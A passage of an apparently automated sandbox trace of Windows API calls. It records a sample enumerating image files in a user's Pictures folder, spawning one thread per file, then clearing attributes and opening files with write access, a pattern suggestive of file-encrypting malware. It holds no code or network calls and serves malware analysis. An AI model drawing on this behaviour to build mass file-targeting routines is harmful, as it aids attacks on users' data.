eVRcwm7Ovm.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\- eVRcwm7Ovm.png" [0066.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec4c88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1170 [0066.999] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26b388e0, ftCreationTime.dwHighDateTime=0x1d4cf3a, ftLastAccessTime.dwLowDateTime=0x4bbaa750, ftLastAccessTime.dwHighDateTime=0x1d4ce7b, ftLastWriteTime.dwLowDateTime=0x4bbaa750, ftLastWriteTime.dwHighDateTime=0x1d4ce7b, nFileSizeHigh=0x0, nFileSizeLow=0x53c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="-GPhO-gWQXS6R5.png", cAlternateFileName="-GPHO-~1.PNG")) returned 1 [0066.999] wcscmp (_String1="-GPhO-gWQXS6R5.png", _String2=".") returned -1 [0066.999] wcscmp (_String1="-GPhO-gWQXS6R5.png", _String2="..") returned -1 [0066.999] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43d888 [0066.999] wcscpy (in: _Dest=0x43d888, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0066.999] wcscat (in: _Dest=0x43d888, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0066.999] wcscat (in: _Dest=0x43d888, _Source="-GPhO-gWQXS6R5.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\-GPhO-gWQXS6R5.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\-GPhO-gWQXS6R5.png" [0066.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43d888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0067.000] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde74d1f0, ftCreationTime.dwHighDateTime=0x1d4d061, ftLastAccessTime.dwLowDateTime=0x9e3de0a0, ftLastAccessTime.dwHighDateTime=0x1d4c8b8, ftLastWriteTime.dwLowDateTime=0x9e3de0a0, ftLastWriteTime.dwHighDateTime=0x1d4c8b8, nFileSizeHigh=0x0, nFileSizeLow=0x4f42, dwReserved0=0x0, dwReserved1=0x0, cFileName="A_d.bmp", cAlternateFileName="")) returned 1 [0067.000] wcscmp (_String1="A_d.bmp", _String2=".") returned 1 [0067.000] wcscmp (_String1="A_d.bmp", _String2="..") returned 1 [0067.000] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x19ccc2a0 [0067.000] wcscpy (in: _Dest=0x19ccc2a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0067.000] wcscat (in: _Dest=0x19ccc2a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0067.000] wcscat (in: _Dest=0x19ccc2a0, _Source="A_d.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\A_d.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\A_d.bmp" [0067.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19ccc2a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b0 [0067.001] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9502df00, ftCreationTime.dwHighDateTime=0x1d4c871, ftLastAccessTime.dwLowDateTime=0xcbc8d230, ftLastAccessTime.dwHighDateTime=0x1d4ccc0, ftLastWriteTime.dwLowDateTime=0xcbc8d230, ftLastWriteTime.dwHighDateTime=0x1d4ccc0, nFileSizeHigh=0x0, nFileSizeLow=0x170c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvwksA__vZ qZ-4JCpk.gif", cAlternateFileName="DVWKSA~1.GIF")) returned 1 [0067.001] wcscmp (_String1="DvwksA__vZ qZ-4JCpk.gif", _String2=".") returned 1 [0067.002] wcscmp (_String1="DvwksA__vZ qZ-4JCpk.gif", _String2="..") returned 1 [0067.002] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa4) returned 0x443540 [0067.002] wcscpy (in: _Dest=0x443540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0067.002] wcscat (in: _Dest=0x443540, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0067.002] wcscat (in: _Dest=0x443540, _Source="DvwksA__vZ qZ-4JCpk.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\DvwksA__vZ qZ-4JCpk.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\DvwksA__vZ qZ-4JCpk.gif" [0067.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x443540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1310 [0067.003] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18cbf00, ftCreationTime.dwHighDateTime=0x1d4cced, ftLastAccessTime.dwLowDateTime=0xa4cdd8a0, ftLastAccessTime.dwHighDateTime=0x1d4cf64, ftLastWriteTime.dwLowDateTime=0xa4cdd8a0, ftLastWriteTime.dwHighDateTime=0x1d4cf64, nFileSizeHigh=0x0, nFileSizeLow=0x15db6, dwReserved0=0x0, dwReserved1=0x0, cFileName="iLIf.gif", cAlternateFileName="")) returned 1 [0067.003] wcscmp (_String1="iLIf.gif", _String2=".") returned 1 [0067.003] wcscmp (_String1="iLIf.gif", _String2="..") returned 1 [0067.003] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x19ccc330 [0067.003] wcscpy (in: _Dest=0x19ccc330, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0067.003] wcscat (in: _Dest=0x19ccc330, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0067.003] wcscat (in: _Dest=0x19ccc330, _Source="iLIf.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\iLIf.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\iLIf.gif" [0067.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x19ccc330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1194 [0067.004] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ce51c50, ftCreationTime.dwHighDateTime=0x1d4c7f9, ftLastAccessTime.dwLowDateTime=0xc4653490, ftLastAccessTime.dwHighDateTime=0x1d4ca48, ftLastWriteTime.dwLowDateTime=0xc4653490, ftLastWriteTime.dwHighDateTime=0x1d4ca48, nFileSizeHigh=0x0, nFileSizeLow=0x12652, dwReserved0=0x0, dwReserved1=0x0, cFileName="KP7G_dTdzOoX166gndl.gif", cAlternateFileName="KP7G_D~1.GIF")) returned 1 [0067.004] wcscmp (_String1="KP7G_dTdzOoX166gndl.gif", _String2=".") returned 1 [0067.004] wcscmp (_String1="KP7G_dTdzOoX166gndl.gif", _String2="..") returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa4) returned 0x4443b0 [0067.004] wcscpy (in: _Dest=0x4443b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0067.004] wcscat (in: _Dest=0x4443b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0067.004] wcscat (in: _Dest=0x4443b0, _Source="KP7G_dTdzOoX166gndl.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\KP7G_dTdzOoX166gndl.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\KP7G_dTdzOoX166gndl.gif" [0067.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4443b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1178 [0067.006] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb329a30, ftCreationTime.dwHighDateTime=0x1d4cc53, ftLastAccessTime.dwLowDateTime=0xc6c209a0, ftLastAccessTime.dwHighDateTime=0x1d4d567, ftLastWriteTime.dwLowDateTime=0xc6c209a0, ftLastWriteTime.dwHighDateTime=0x1d4d567, nFileSizeHigh=0x0, nFileSizeLow=0x18858, dwReserved0=0x0, dwReserved1=0x0, cFileName="pAU RAGzW7UW8D I9b.gif", cAlternateFileName="PAURAG~1.GIF")) returned 1 [0067.006] wcscmp (_String1="pAU RAGzW7UW8D I9b.gif", _String2=".") returned 1 [0067.006] wcscmp (_String1="pAU RAGzW7UW8D I9b.gif", _String2="..") returned 1 [0067.006] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x444460 [0067.006] wcscpy (in: _Dest=0x444460, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0067.006] wcscat (in: _Dest=0x444460, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0067.006] wcscat (in: _Dest=0x444460, _Source="pAU RAGzW7UW8D I9b.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\pAU RAGzW7UW8D I9b.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\pAU RAGzW7UW8D I9b.gif" [0067.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x444460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1314 [0067.007] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x306ce530, ftCreationTime.dwHighDateTime=0x1d4d295, ftLastAccessTime.dwLowDateTime=0x5ab63dc0, ftLastAccessTime.dwHighDateTime=0x1d4ca0f, ftLastWriteTime.dwLowDateTime=0x5ab63dc0, ftLastWriteTime.dwHighDateTime=0x1d4ca0f, nFileSizeHigh=0x0, nFileSizeLow=0x563a, dwReserved0=0x0, dwReserved1=0x0, cFileName="uBbUCQyM-a3vcn.gif", cAlternateFileName="UBBUCQ~1.GIF")) returned 1 [0067.007] wcscmp (_String1="uBbUCQyM-a3vcn.gif", _String2=".") returned 1 [0067.007] wcscmp (_String1="uBbUCQyM-a3vcn.gif", _String2="..") returned 1 [0067.007] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfc718 [0067.007] wcscpy (in: _Dest=0x12cfc718, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0067.007] wcscat (in: _Dest=0x12cfc718, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0067.007] wcscat (in: _Dest=0x12cfc718, _Source="uBbUCQyM-a3vcn.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\uBbUCQyM-a3vcn.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\uBbUCQyM-a3vcn.gif" [0067.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfc718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1008 [0067.008] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4ab2870, ftCreationTime.dwHighDateTime=0x1d4d2d9, ftLastAccessTime.dwLowDateTime=0x92906ff0, ftLastAccessTime.dwHighDateTime=0x1d4d1a7, ftLastWriteTime.dwLowDateTime=0x92906ff0, ftLastWriteTime.dwHighDateTime=0x1d4d1a7, nFileSizeHigh=0x0, nFileSizeLow=0x13b45, dwReserved0=0x0, dwReserved1=0x0, cFileName="UHSng88Olz734Rh3qI.gif", cAlternateFileName="UHSNG8~1.GIF")) returned 1 [0067.008] wcscmp (_String1="UHSng88Olz734Rh3qI.gif", _String2=".") returned 1 [0067.008] wcscmp (_String1="UHSng88Olz734Rh3qI.gif", _String2="..") returned 1 [0067.008] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x444510 [0067.008] wcscpy (in: _Dest=0x444510, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0067.008] wcscat (in: _Dest=0x444510, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0067.009] wcscat (in: _Dest=0x444510, _Source="UHSng88Olz734Rh3qI.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\UHSng88Olz734Rh3qI.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\UHSng88Olz734Rh3qI.gif" [0067.009] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x444510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128c [0067.010] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b916730, ftCreationTime.dwHighDateTime=0x1d4c808, ftLastAccessTime.dwLowDateTime=0x9d352b30, ftLastAccessTime.dwHighDateTime=0x1d4c860, ftLastWriteTime.dwLowDateTime=0x9d352b30, ftLastWriteTime.dwHighDateTime=0x1d4c860, nFileSizeHigh=0x0, nFileSizeLow=0xd2ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="UUdgVMvUkx2f4aTPMW.png", cAlternateFileName="UUDGVM~1.PNG")) returned 1 [0067.010] wcscmp (_String1="UUdgVMvUkx2f4aTPMW.png", _String2=".") returned 1 [0067.010] wcscmp (_String1="UUdgVMvUkx2f4aTPMW.png", _String2="..") returned 1 [0067.010] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x4445c0 [0067.010] wcscpy (in: _Dest=0x4445c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0067.010] wcscat (in: _Dest=0x4445c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0067.010] wcscat (in: _Dest=0x4445c0, _Source="UUdgVMvUkx2f4aTPMW.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\UUdgVMvUkx2f4aTPMW.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\UUdgVMvUkx2f4aTPMW.png" [0067.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4445c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0067.011] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x387b3a30, ftCreationTime.dwHighDateTime=0x1d4c8b6, ftLastAccessTime.dwLowDateTime=0x21214610, ftLastAccessTime.dwHighDateTime=0x1d4cae4, ftLastWriteTime.dwLowDateTime=0x21214610, ftLastWriteTime.dwHighDateTime=0x1d4cae4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xYqbUF_dVNpsqp W5rm", cAlternateFileName="XYQBUF~1")) returned 1 [0067.011] wcscmp (_String1="xYqbUF_dVNpsqp W5rm", _String2=".") returned 1 [0067.011] wcscmp (_String1="xYqbUF_dVNpsqp W5rm", _String2="..") returned 1 [0067.011] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x12cfc7c0 [0067.011] wcscpy (in: _Dest=0x12cfc7c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0067.011] wcscat (in: _Dest=0x12cfc7c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0067.011] wcscat (in: _Dest=0x12cfc7c0, _Source="xYqbUF_dVNpsqp W5rm" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\xYqbUF_dVNpsqp W5rm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\xYqbUF_dVNpsqp W5rm" [0067.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x12cfc7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0067.012] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde69beb0, ftCreationTime.dwHighDateTime=0x1d4cbdd, ftLastAccessTime.dwLowDateTime=0xf8bd7ed0, ftLastAccessTime.dwHighDateTime=0x1d4c662, ftLastWriteTime.dwLowDateTime=0xf8bd7ed0, ftLastWriteTime.dwHighDateTime=0x1d4c662, nFileSizeHigh=0x0, nFileSizeLow=0x13a64, dwReserved0=0x0, dwReserved1=0x0, cFileName="zPEQu17sbXBi4.jpg", cAlternateFileName="ZPEQU1~1.JPG")) returned 1 [0067.012] wcscmp (_String1="zPEQu17sbXBi4.jpg", _String2=".") returned 1 [0067.012] wcscmp (_String1="zPEQu17sbXBi4.jpg", _String2="..") returned 1 [0067.012] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4ee018 [0067.012] wcscpy (in: _Dest=0x4ee018, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0067.012] wcscat (in: _Dest=0x4ee018, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0067.012] wcscat (in: _Dest=0x4ee018, _Source="zPEQu17sbXBi4.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\zPEQu17sbXBi4.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\zPEQu17sbXBi4.jpg" [0067.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x125c [0067.014] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957dfe30, ftCreationTime.dwHighDateTime=0x1d4d300, ftLastAccessTime.dwLowDateTime=0x3e7e1070, ftLastAccessTime.dwHighDateTime=0x1d4ce7d, ftLastWriteTime.dwLowDateTime=0x3e7e1070, ftLastWriteTime.dwHighDateTime=0x1d4ce7d, nFileSizeHigh=0x0, nFileSizeLow=0x970d, dwReserved0=0x0, dwReserved1=0x0, cFileName="zvPX7yEuYQYgbV.gif", cAlternateFileName="ZVPX7Y~1.GIF")) returned 1 [0067.014] wcscmp (_String1="zvPX7yEuYQYgbV.gif", _String2=".") returned 1 [0067.014] wcscmp (_String1="zvPX7yEuYQYgbV.gif", _String2="..") returned 1 [0067.014] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfc868 [0067.014] wcscpy (in: _Dest=0x12cfc868, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR" [0067.014] wcscat (in: _Dest=0x12cfc868, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\" [0067.014] wcscat (in: _Dest=0x12cfc868, _Source="zvPX7yEuYQYgbV.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\zvPX7yEuYQYgbV.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\RmVXyVJbQUoR\\zvPX7yEuYQYgbV.gif" [0067.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfc868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaa0 [0067.015] FindNextFileW (in: hFindFile=0x40a3e8, lpFindFileData=0x45b240 | out: lpFindFileData=0x45b240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957dfe30, ftCreationTime.dwHighDateTime=0x1d4d300, ftLastAccessTime.dwLowDateTime=0x3e7e1070, ftLastAccessTime.dwHighDateTime=0x1d4ce7d, ftLastWriteTime.dwLowDateTime=0x3e7e1070, ftLastWriteTime.dwHighDateTime=0x1d4ce7d, nFileSizeHigh=0x0, nFileSizeLow=0x970d, dwReserved0=0x0, dwReserved1=0x0, cFileName="zvPX7yEuYQYgbV.gif", cAlternateFileName="ZVPX7Y~1.GIF")) returned 0 [0067.015] FindClose (in: hFindFile=0x40a3e8 | out: hFindFile=0x40a3e8) returned 1 [0067.016] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45b240) returned 1 [0067.016] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45f338) returned 1 [0067.016] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e6b8) returned 1 Thread: id = 1135 os_tid = 0xb24 [0059.654] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\sSRSv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\ssrsv.png")) returned 0x20 [0059.654] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\sSRSv.png", dwFileAttributes=0x20) returned 1 [0059.654] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GyqjI\\sSRSv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gyqji\\ssrsv.png"), dwDesiredAccess=0xc0010000, 